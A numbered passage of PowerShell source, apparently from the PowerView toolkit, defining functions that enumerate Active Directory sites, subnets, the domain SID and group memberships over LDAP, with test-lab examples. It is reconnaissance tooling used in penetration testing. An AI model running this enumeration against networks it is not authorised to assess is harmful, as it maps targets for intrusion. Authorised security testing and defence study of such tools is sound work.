9474 9475 Specifies the PageSize to set for the LDAP searcher object. 9476 9477 .PARAMETER ServerTimeLimit 9478 9479 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 9480 9481 .PARAMETER SecurityMasks 9482 9483 Specifies an option for examining security information of a directory object. 9484 One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. 9485 9486 .PARAMETER Tombstone 9487 9488 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 9489 9490 .PARAMETER FindOne 9491 9492 Only return one result object. 9493 9494 .PARAMETER Credential 9495 9496 A [Management.Automation.PSCredential] object of alternate credentials 9497 for connection to the target domain. 9498 9499 .PARAMETER Raw 9500 9501 Switch. Return raw results instead of translating the fields into a custom PSObject. 9502 9503 .EXAMPLE 9504 9505 Get-DomainSite 9506 9507 Returns the current sites in the domain. 9508 9509 .EXAMPLE 9510 9511 Get-DomainSite *admin* -Domain testlab.local 9512 9513 Returns all sites with "admin" in their name in the testlab.local domain. 9514 9515 .EXAMPLE 9516 9517 Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" 9518 9519 Returns all sites with linked to the specified group policy object. 9520 9521 .EXAMPLE 9522 9523 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 9524 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 9525 Get-DomainSite -Credential $Cred 9526 9527 .OUTPUTS 9528 9529 PowerView.Site 9530 9531 Custom PSObject with translated site property fields. 9532 #> 9533 9534 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 9535 [OutputType('PowerView.Site')] 9536 [CmdletBinding()] 9537 Param ( 9538 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 9539 [Alias('Name')] 9540 [String[]] 9541 $Identity, 9542 9543 [ValidateNotNullOrEmpty()] 9544 [String] 9545 [Alias('GUID')] 9546 $GPLink, 9547 9548 [ValidateNotNullOrEmpty()] 9549 [String] 9550 $Domain, 9551 9552 [ValidateNotNullOrEmpty()] 9553 [Alias('Filter')] 9554 [String] 9555 $LDAPFilter, 9556 9557 [ValidateNotNullOrEmpty()] 9558 [String[]] 9559 $Properties, 9560 9561 [ValidateNotNullOrEmpty()] 9562 [Alias('ADSPath')] 9563 [String] 9564 $SearchBase, 9565 9566 [ValidateNotNullOrEmpty()] 9567 [Alias('DomainController')] 9568 [String] 9569 $Server, 9570 9571 [ValidateSet('Base', 'OneLevel', 'Subtree')] 9572 [String] 9573 $SearchScope = 'Subtree', 9574 9575 [ValidateRange(1, 10000)] 9576 [Int] 9577 $ResultPageSize = 200, 9578 9579 [ValidateRange(1, 10000)] 9580 [Int] 9581 $ServerTimeLimit, 9582 9583 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] 9584 [String] 9585 $SecurityMasks, 9586 9587 [Switch] 9588 $Tombstone, 9589 9590 [Alias('ReturnOne')] 9591 [Switch] 9592 $FindOne, 9593 9594 [Management.Automation.PSCredential] 9595 [Management.Automation.CredentialAttribute()] 9596 $Credential = [Management.Automation.PSCredential]::Empty, 9597 9598 [Switch] 9599 $Raw 9600 ) 9601 9602 BEGIN { 9603 $SearcherArguments = @{ 9604 'SearchBasePrefix' = 'CN=Sites,CN=Configuration' 9605 } 9606 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 9607 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } 9608 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } 9609 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 9610 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } 9611 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 9612 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 9613 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } 9614 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } 9615 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 9616 $SiteSearcher = Get-DomainSearcher @SearcherArguments 9617 } 9618 9619 PROCESS { 9620 if ($SiteSearcher) { 9621 $IdentityFilter = '' 9622 $Filter = '' 9623 $Identity | Where-Object {$_} | ForEach-Object { 9624 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') 9625 if ($IdentityInstance -match '^CN=.*') { 9626 $IdentityFilter += "(distinguishedname=$IdentityInstance)" 9627 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { 9628 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname 9629 # and rebuild the domain searcher 9630 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' 9631 Write-Verbose "[Get-DomainSite] Extracted domain '$IdentityDomain' from '$IdentityInstance'" 9632 $SearcherArguments['Domain'] = $IdentityDomain 9633 $SiteSearcher = Get-DomainSearcher @SearcherArguments 9634 if (-not $SiteSearcher) { 9635 Write-Warning "[Get-DomainSite] Unable to retrieve domain searcher for '$IdentityDomain'" 9636 } 9637 } 9638 } 9639 else { 9640 try { 9641 $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' 9642 $IdentityFilter += "(objectguid=$GuidByteString)" 9643 } 9644 catch { 9645 $IdentityFilter += "(name=$IdentityInstance)" 9646 } 9647 } 9648 } 9649 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { 9650 $Filter += "(|$IdentityFilter)" 9651 } 9652 9653 if ($PSBoundParameters['GPLink']) { 9654 Write-Verbose "[Get-DomainSite] Searching for sites with $GPLink set in the gpLink property" 9655 $Filter += "(gplink=*$GPLink*)" 9656 } 9657 9658 if ($PSBoundParameters['LDAPFilter']) { 9659 Write-Verbose "[Get-DomainSite] Using additional LDAP filter: $LDAPFilter" 9660 $Filter += "$LDAPFilter" 9661 } 9662 9663 $SiteSearcher.filter = "(&(objectCategory=site)$Filter)" 9664 Write-Verbose "[Get-DomainSite] Get-DomainSite filter string: $($SiteSearcher.filter)" 9665 9666 if ($PSBoundParameters['FindOne']) { $Results = $SiteSearcher.FindAll() } 9667 else { $Results = $SiteSearcher.FindAll() } 9668 $Results | Where-Object {$_} | ForEach-Object { 9669 if ($PSBoundParameters['Raw']) { 9670 # return raw result objects 9671 $Site = $_ 9672 } 9673 else { 9674 $Site = Convert-LDAPProperty -Properties $_.Properties 9675 } 9676 $Site.PSObject.TypeNames.Insert(0, 'PowerView.Site') 9677 $Site 9678 } 9679 if ($Results) { 9680 try { $Results.dispose() } 9681 catch { 9682 Write-Verbose "[Get-DomainSite] Error disposing of the Results object" 9683 } 9684 } 9685 $SiteSearcher.dispose() 9686 } 9687 } 9688 } 9689 9690 9691 function Get-DomainSubnet { 9692 <# 9693 .SYNOPSIS 9694 9695 Search for all subnets or specific subnets objects in AD. 9696 9697 Author: Will Schroeder (@harmj0y) 9698 License: BSD 3-Clause 9699 Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty 9700 9701 .DESCRIPTION 9702 9703 Builds a directory searcher object using Get-DomainSearcher, builds a custom 9704 LDAP filter based on targeting/filter parameters, and searches for all objects 9705 matching the criteria. To only return specific properties, use 9706 "-Properties whencreated,usnchanged,...". By default, all subnet objects for 9707 the current domain are returned. 9708 9709 .PARAMETER Identity 9710 9711 An subnet name (e.g. '192.168.50.0/24'), DistinguishedName (e.g. 'CN=192.168.50.0/24,CN=Subnets,CN=Sites,CN=Configuratioiguration,DC=testlab,DC=local'), 9712 or GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted. 9713 9714 .PARAMETER SiteName 9715 9716 Only return subnets from the specified SiteName. 9717 9718 .PARAMETER Domain 9719 9720 Specifies the domain to use for the query, defaults to the current domain. 9721 9722 .PARAMETER LDAPFilter 9723 9724 Specifies an LDAP query string that is used to filter Active Directory objects. 9725 9726 .PARAMETER Properties 9727 9728 Specifies the properties of the output object to retrieve from the server. 9729 9730 .PARAMETER SearchBase 9731 9732 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 9733 Useful for OU queries. 9734 9735 .PARAMETER Server 9736 9737 Specifies an Active Directory server (domain controller) to bind to. 9738 9739 .PARAMETER SearchScope 9740 9741 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 9742 9743 .PARAMETER ResultPageSize 9744 9745 Specifies the PageSize to set for the LDAP searcher object. 9746 9747 .PARAMETER ServerTimeLimit 9748 9749 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 9750 9751 .PARAMETER SecurityMasks 9752 9753 Specifies an option for examining security information of a directory object. 9754 One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. 9755 9756 .PARAMETER Tombstone 9757 9758 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 9759 9760 .PARAMETER FindOne 9761 9762 Only return one result object. 9763 9764 .PARAMETER Credential 9765 9766 A [Management.Automation.PSCredential] object of alternate credentials 9767 for connection to the target domain. 9768 9769 .PARAMETER Raw 9770 9771 Switch. Return raw results instead of translating the fields into a custom PSObject. 9772 9773 .EXAMPLE 9774 9775 Get-DomainSubnet 9776 9777 Returns the current subnets in the domain. 9778 9779 .EXAMPLE 9780 9781 Get-DomainSubnet *admin* -Domain testlab.local 9782 9783 Returns all subnets with "admin" in their name in the testlab.local domain. 9784 9785 .EXAMPLE 9786 9787 Get-DomainSubnet -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" 9788 9789 Returns all subnets with linked to the specified group policy object. 9790 9791 .EXAMPLE 9792 9793 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 9794 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 9795 Get-DomainSubnet -Credential $Cred 9796 9797 .OUTPUTS 9798 9799 PowerView.Subnet 9800 9801 Custom PSObject with translated subnet property fields. 9802 #> 9803 9804 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 9805 [OutputType('PowerView.Subnet')] 9806 [CmdletBinding()] 9807 Param ( 9808 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 9809 [Alias('Name')] 9810 [String[]] 9811 $Identity, 9812 9813 [ValidateNotNullOrEmpty()] 9814 [String] 9815 $SiteName, 9816 9817 [ValidateNotNullOrEmpty()] 9818 [String] 9819 $Domain, 9820 9821 [ValidateNotNullOrEmpty()] 9822 [Alias('Filter')] 9823 [String] 9824 $LDAPFilter, 9825 9826 [ValidateNotNullOrEmpty()] 9827 [String[]] 9828 $Properties, 9829 9830 [ValidateNotNullOrEmpty()] 9831 [Alias('ADSPath')] 9832 [String] 9833 $SearchBase, 9834 9835 [ValidateNotNullOrEmpty()] 9836 [Alias('DomainController')] 9837 [String] 9838 $Server, 9839 9840 [ValidateSet('Base', 'OneLevel', 'Subtree')] 9841 [String] 9842 $SearchScope = 'Subtree', 9843 9844 [ValidateRange(1, 10000)] 9845 [Int] 9846 $ResultPageSize = 200, 9847 9848 [ValidateRange(1, 10000)] 9849 [Int] 9850 $ServerTimeLimit, 9851 9852 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] 9853 [String] 9854 $SecurityMasks, 9855 9856 [Switch] 9857 $Tombstone, 9858 9859 [Alias('ReturnOne')] 9860 [Switch] 9861 $FindOne, 9862 9863 [Management.Automation.PSCredential] 9864 [Management.Automation.CredentialAttribute()] 9865 $Credential = [Management.Automation.PSCredential]::Empty, 9866 9867 [Switch] 9868 $Raw 9869 ) 9870 9871 BEGIN { 9872 $SearcherArguments = @{ 9873 'SearchBasePrefix' = 'CN=Subnets,CN=Sites,CN=Configuration' 9874 } 9875 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 9876 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } 9877 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } 9878 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 9879 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } 9880 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 9881 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 9882 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } 9883 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } 9884 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 9885 $SubnetSearcher = Get-DomainSearcher @SearcherArguments 9886 } 9887 9888 PROCESS { 9889 if ($SubnetSearcher) { 9890 $IdentityFilter = '' 9891 $Filter = '' 9892 $Identity | Where-Object {$_} | ForEach-Object { 9893 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') 9894 if ($IdentityInstance -match '^CN=.*') { 9895 $IdentityFilter += "(distinguishedname=$IdentityInstance)" 9896 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { 9897 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname 9898 # and rebuild the domain searcher 9899 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' 9900 Write-Verbose "[Get-DomainSubnet] Extracted domain '$IdentityDomain' from '$IdentityInstance'" 9901 $SearcherArguments['Domain'] = $IdentityDomain 9902 $SubnetSearcher = Get-DomainSearcher @SearcherArguments 9903 if (-not $SubnetSearcher) { 9904 Write-Warning "[Get-DomainSubnet] Unable to retrieve domain searcher for '$IdentityDomain'" 9905 } 9906 } 9907 } 9908 else { 9909 try { 9910 $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' 9911 $IdentityFilter += "(objectguid=$GuidByteString)" 9912 } 9913 catch { 9914 $IdentityFilter += "(name=$IdentityInstance)" 9915 } 9916 } 9917 } 9918 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { 9919 $Filter += "(|$IdentityFilter)" 9920 } 9921 9922 if ($PSBoundParameters['LDAPFilter']) { 9923 Write-Verbose "[Get-DomainSubnet] Using additional LDAP filter: $LDAPFilter" 9924 $Filter += "$LDAPFilter" 9925 } 9926 9927 $SubnetSearcher.filter = "(&(objectCategory=subnet)$Filter)" 9928 Write-Verbose "[Get-DomainSubnet] Get-DomainSubnet filter string: $($SubnetSearcher.filter)" 9929 9930 if ($PSBoundParameters['FindOne']) { $Results = $SubnetSearcher.FindOne() } 9931 else { $Results = $SubnetSearcher.FindAll() } 9932 $Results | Where-Object {$_} | ForEach-Object { 9933 if ($PSBoundParameters['Raw']) { 9934 # return raw result objects 9935 $Subnet = $_ 9936 } 9937 else { 9938 $Subnet = Convert-LDAPProperty -Properties $_.Properties 9939 } 9940 $Subnet.PSObject.TypeNames.Insert(0, 'PowerView.Subnet') 9941 9942 if ($PSBoundParameters['SiteName']) { 9943 # have to do the filtering after the LDAP query as LDAP doesn't let you specify 9944 # wildcards for 'siteobject' :( 9945 if ($Subnet.properties -and ($Subnet.properties.siteobject -like "*$SiteName*")) { 9946 $Subnet 9947 } 9948 elseif ($Subnet.siteobject -like "*$SiteName*") { 9949 $Subnet 9950 } 9951 } 9952 else { 9953 $Subnet 9954 } 9955 } 9956 if ($Results) { 9957 try { $Results.dispose() } 9958 catch { 9959 Write-Verbose "[Get-DomainSubnet] Error disposing of the Results object: $_" 9960 } 9961 } 9962 $SubnetSearcher.dispose() 9963 } 9964 } 9965 } 9966 9967 9968 function Get-DomainSID { 9969 <# 9970 .SYNOPSIS 9971 9972 Returns the SID for the current domain or the specified domain. 9973 9974 Author: Will Schroeder (@harmj0y) 9975 License: BSD 3-Clause 9976 Required Dependencies: Get-DomainComputer 9977 9978 .DESCRIPTION 9979 9980 Returns the SID for the current domain or the specified domain by executing 9981 Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192) 9982 to search for domain controllers through LDAP. The SID of the returned domain controller 9983 is then extracted. 9984 9985 .PARAMETER Domain 9986 9987 Specifies the domain to use for the query, defaults to the current domain. 9988 9989 .PARAMETER Server 9990 9991 Specifies an Active Directory server (domain controller) to bind to. 9992 9993 .PARAMETER Credential 9994 9995 A [Management.Automation.PSCredential] object of alternate credentials 9996 for connection to the target domain. 9997 9998 .EXAMPLE 9999 10000 Get-DomainSID 10001 10002 .EXAMPLE 10003 10004 Get-DomainSID -Domain testlab.local 10005 10006 .EXAMPLE 10007 10008 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 10009 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 10010 Get-DomainSID -Credential $Cred 10011 10012 .OUTPUTS 10013 10014 String 10015 10016 A string representing the specified domain SID. 10017 #> 10018 10019 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 10020 [OutputType([String])] 10021 [CmdletBinding()] 10022 Param( 10023 [ValidateNotNullOrEmpty()] 10024 [String] 10025 $Domain, 10026 10027 [ValidateNotNullOrEmpty()] 10028 [Alias('DomainController')] 10029 [String] 10030 $Server, 10031 10032 [Management.Automation.PSCredential] 10033 [Management.Automation.CredentialAttribute()] 10034 $Credential = [Management.Automation.PSCredential]::Empty 10035 ) 10036 10037 $SearcherArguments = @{ 10038 'LDAPFilter' = '(userAccountControl:1.2.840.113556.1.4.803:=8192)' 10039 } 10040 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 10041 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 10042 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 10043 10044 $DCSID = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty objectsid 10045 10046 if ($DCSID) { 10047 $DCSID.SubString(0, $DCSID.LastIndexOf('-')) 10048 } 10049 else { 10050 Write-Verbose "[Get-DomainSID] Error extracting domain SID for '$Domain'" 10051 } 10052 } 10053 10054 10055 function Get-DomainGroup { 10056 <# 10057 .SYNOPSIS 10058 10059 Return all groups or specific group objects in AD. 10060 10061 Author: Will Schroeder (@harmj0y) 10062 License: BSD 3-Clause 10063 Required Dependencies: Get-DomainSearcher, Get-DomainObject, Convert-ADName, Convert-LDAPProperty 10064 10065 .DESCRIPTION 10066 10067 Builds a directory searcher object using Get-DomainSearcher, builds a custom 10068 LDAP filter based on targeting/filter parameters, and searches for all objects 10069 matching the criteria. To only return specific properties, use 10070 "-Properties samaccountname,usnchanged,...". By default, all group objects for 10071 the current domain are returned. To return the groups a specific user/group is 10072 a part of, use -MemberIdentity X to execute token groups enumeration. 10073 10074 .PARAMETER Identity 10075 10076 A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), 10077 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) 10078 specifying the group to query for. Wildcards accepted. 10079 10080 .PARAMETER MemberIdentity 10081 10082 A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), 10083 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) 10084 specifying the user/group member to query for group membership. 10085 10086 .PARAMETER AdminCount 10087 10088 Switch. Return users with '(adminCount=1)' (meaning are/were privileged). 10089 10090 .PARAMETER GroupScope 10091 10092 Specifies the scope (DomainLocal, Global, or Universal) of the group(s) to search for. 10093 Also accepts NotDomainLocal, NotGloba, and NotUniversal as negations. 10094 10095 .PARAMETER GroupProperty 10096 10097 Specifies a specific property to search for when performing the group search. 10098 Possible values are Security, Distribution, CreatedBySystem, and NotCreatedBySystem. 10099 10100 .PARAMETER Domain 10101 10102 Specifies the domain to use for the query, defaults to the current domain. 10103 10104 .PARAMETER LDAPFilter 10105 10106 Specifies an LDAP query string that is used to filter Active Directory objects. 10107 10108 .PARAMETER Properties 10109 10110 Specifies the properties of the output object to retrieve from the server. 10111 10112 .PARAMETER SearchBase 10113 10114 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 10115 Useful for OU queries. 10116 10117 .PARAMETER Server 10118 10119 Specifies an Active Directory server (domain controller) to bind to. 10120 10121 .PARAMETER SearchScope 10122 10123 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 10124 10125 .PARAMETER ResultPageSize 10126 10127 Specifies the PageSize to set for the LDAP searcher object. 10128 10129 .PARAMETER ServerTimeLimit 10130 10131 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 10132 10133 .PARAMETER SecurityMasks 10134 10135 Specifies an option for examining security information of a directory object. 10136 One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. 10137 10138 .PARAMETER Tombstone 10139 10140 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 10141 10142 .PARAMETER FindOne 10143 10144 Only return one result object. 10145 10146 .PARAMETER Credential 10147 10148 A [Management.Automation.PSCredential] object of alternate credentials 10149 for connection to the target domain. 10150 10151 .PARAMETER Raw 10152 10153 Switch. Return raw results instead of translating the fields into a custom PSObject. 10154 10155 .EXAMPLE 10156 10157 Get-DomainGroup | select samaccountname 10158 10159 samaccountname 10160 -------------- 10161 WinRMRemoteWMIUsers__ 10162 Administrators 10163 Users 10164 Guests 10165 Print Operators 10166 Backup Operators 10167 ... 10168 10169 .EXAMPLE 10170 10171 Get-DomainGroup *admin* | select distinguishedname 10172 10173 distinguishedname 10174 ----------------- 10175 CN=Administrators,CN=Builtin,DC=testlab,DC=local 10176 CN=Hyper-V Administrators,CN=Builtin,DC=testlab,DC=local 10177 CN=Schema Admins,CN=Users,DC=testlab,DC=local 10178 CN=Enterprise Admins,CN=Users,DC=testlab,DC=local 10179 CN=Domain Admins,CN=Users,DC=testlab,DC=local 10180 CN=DnsAdmins,CN=Users,DC=testlab,DC=local 10181 CN=Server Admins,CN=Users,DC=testlab,DC=local 10182 CN=Desktop Admins,CN=Users,DC=testlab,DC=local 10183 10184 .EXAMPLE 10185 10186 Get-DomainGroup -Properties samaccountname -Identity 'S-1-5-21-890171859-3433809279-3366196753-1117' | fl 10187 10188 samaccountname 10189 -------------- 10190 Server Admins 10191 10192 .EXAMPLE 10193 10194 'CN=Desktop Admins,CN=Users,DC=testlab,DC=local' | Get-DomainGroup -Server primary.testlab.local -Verbose 10195 VERBOSE: Get-DomainSearcher search string: LDAP://DC=testlab,DC=local 10196 VERBOSE: Get-DomainGroup filter string: (&(objectCategory=group)(|(distinguishedname=CN=DesktopAdmins,CN=Users,DC=testlab,DC=local))) 10197 10198 usncreated : 13245 10199 grouptype : -2147483646 10200 samaccounttype : 268435456 10201 samaccountname : Desktop Admins 10202 whenchanged : 8/10/2016 12:30:30 AM 10203 objectsid : S-1-5-21-890171859-3433809279-3366196753-1118 10204 objectclass : {top, group} 10205 cn : Desktop Admins 10206 usnchanged : 13255 10207 dscorepropagationdata : 1/1/1601 12:00:00 AM 10208 name : Desktop Admins 10209 distinguishedname : CN=Desktop Admins,CN=Users,DC=testlab,DC=local 10210 member : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local 10211 whencreated : 8/10/2016 12:29:43 AM 10212 instancetype : 4 10213 objectguid : f37903ed-b333-49f4-abaa-46c65e9cca71 10214 objectcategory : CN=Group,CN=Schema,CN=Configuration,DC=testlab,DC=local 10215 10216 .EXAMPLE 10217 10218 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 10219 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 10220 Get-DomainGroup -Credential $Cred 10221 10222 .EXAMPLE 10223 10224 Get-Domain | Select-Object -Expand name 10225 testlab.local 10226 10227 'DEV\Domain Admins' | Get-DomainGroup -Verbose -Properties distinguishedname 10228 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local 10229 VERBOSE: [Get-DomainGroup] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' 10230 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local 10231 VERBOSE: [Get-DomainGroup] filter string: (&(objectCategory=group)(|(samAccountName=Domain Admins))) 10232 10233 distinguishedname 10234 ----------------- 10235 CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local 10236 10237 .OUTPUTS 10238 10239 PowerView.Group 10240 10241 Custom PSObject with translated group property fields. 10242 #> 10243 10244 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 10245 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] 10246 [OutputType('PowerView.Group')] 10247 [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] 10248 Param( 10249 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 10250 [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] 10251 [String[]] 10252 $Identity, 10253 10254 [ValidateNotNullOrEmpty()] 10255 [Alias('UserName')] 10256 [String] 10257 $MemberIdentity, 10258 10259 [Switch] 10260 $AdminCount, 10261 10262 [ValidateSet('DomainLocal', 'NotDomainLocal', 'Global', 'NotGlobal', 'Universal', 'NotUniversal')] 10263 [Alias('Scope')] 10264 [String] 10265 $GroupScope, 10266 10267 [ValidateSet('Security', 'Distribution', 'CreatedBySystem', 'NotCreatedBySystem')] 10268 [String] 10269 $GroupProperty, 10270 10271 [ValidateNotNullOrEmpty()] 10272 [String] 10273 $Domain, 10274 10275 [ValidateNotNullOrEmpty()] 10276 [Alias('Filter')] 10277 [String] 10278 $LDAPFilter, 10279 10280 [ValidateNotNullOrEmpty()] 10281 [String[]] 10282 $Properties, 10283 10284 [ValidateNotNullOrEmpty()] 10285 [Alias('ADSPath')] 10286 [String] 10287 $SearchBase, 10288 10289 [ValidateNotNullOrEmpty()] 10290 [Alias('DomainController')] 10291 [String] 10292 $Server, 10293 10294 [ValidateSet('Base', 'OneLevel', 'Subtree')] 10295 [String] 10296 $SearchScope = 'Subtree', 10297 10298 [ValidateRange(1, 10000)] 10299 [Int] 10300 $ResultPageSize = 200, 10301 10302 [ValidateRange(1, 10000)] 10303 [Int] 10304 $ServerTimeLimit, 10305 10306 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] 10307 [String] 10308 $SecurityMasks, 10309 10310 [Switch] 10311 $Tombstone, 10312 10313 [Alias('ReturnOne')] 10314 [Switch] 10315 $FindOne, 10316 10317 [Management.Automation.PSCredential] 10318 [Management.Automation.CredentialAttribute()] 10319 $Credential = [Management.Automation.PSCredential]::Empty, 10320 10321 [Switch] 10322 $Raw 10323 ) 10324 10325 BEGIN { 10326 $SearcherArguments = @{} 10327 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 10328 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } 10329 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } 10330 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 10331 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } 10332 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 10333 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 10334 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } 10335 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } 10336 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 10337 $GroupSearcher = Get-DomainSearcher @SearcherArguments 10338 } 10339 10340 PROCESS { 10341 if ($GroupSearcher) { 10342 if ($PSBoundParameters['MemberIdentity']) { 10343 10344 if ($SearcherArguments['Properties']) { 10345 $OldProperties = $SearcherArguments['Properties'] 10346 } 10347 10348 $SearcherArguments['Identity'] = $MemberIdentity 10349 $SearcherArguments['Raw'] = $True 10350 10351 Get-DomainObject @SearcherArguments | ForEach-Object { 10352 # convert the user/group to a directory entry 10353 $ObjectDirectoryEntry = $_.GetDirectoryEntry() 10354 10355 # cause the cache to calculate the token groups for the user/group 10356 $ObjectDirectoryEntry.RefreshCache('tokenGroups') 10357 10358 $ObjectDirectoryEntry.TokenGroups | ForEach-Object { 10359 # convert the token group sid 10360 $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value 10361 10362 # ignore the built in groups 10363 if ($GroupSid -notmatch '^S-1-5-32-.*') { 10364 $SearcherArguments['Identity'] = $GroupSid 10365 $SearcherArguments['Raw'] = $False 10366 if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } 10367 $Group = Get-DomainObject @SearcherArguments 10368 if ($Group) { 10369 $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') 10370 $Group 10371 } 10372 } 10373 } 10374 } 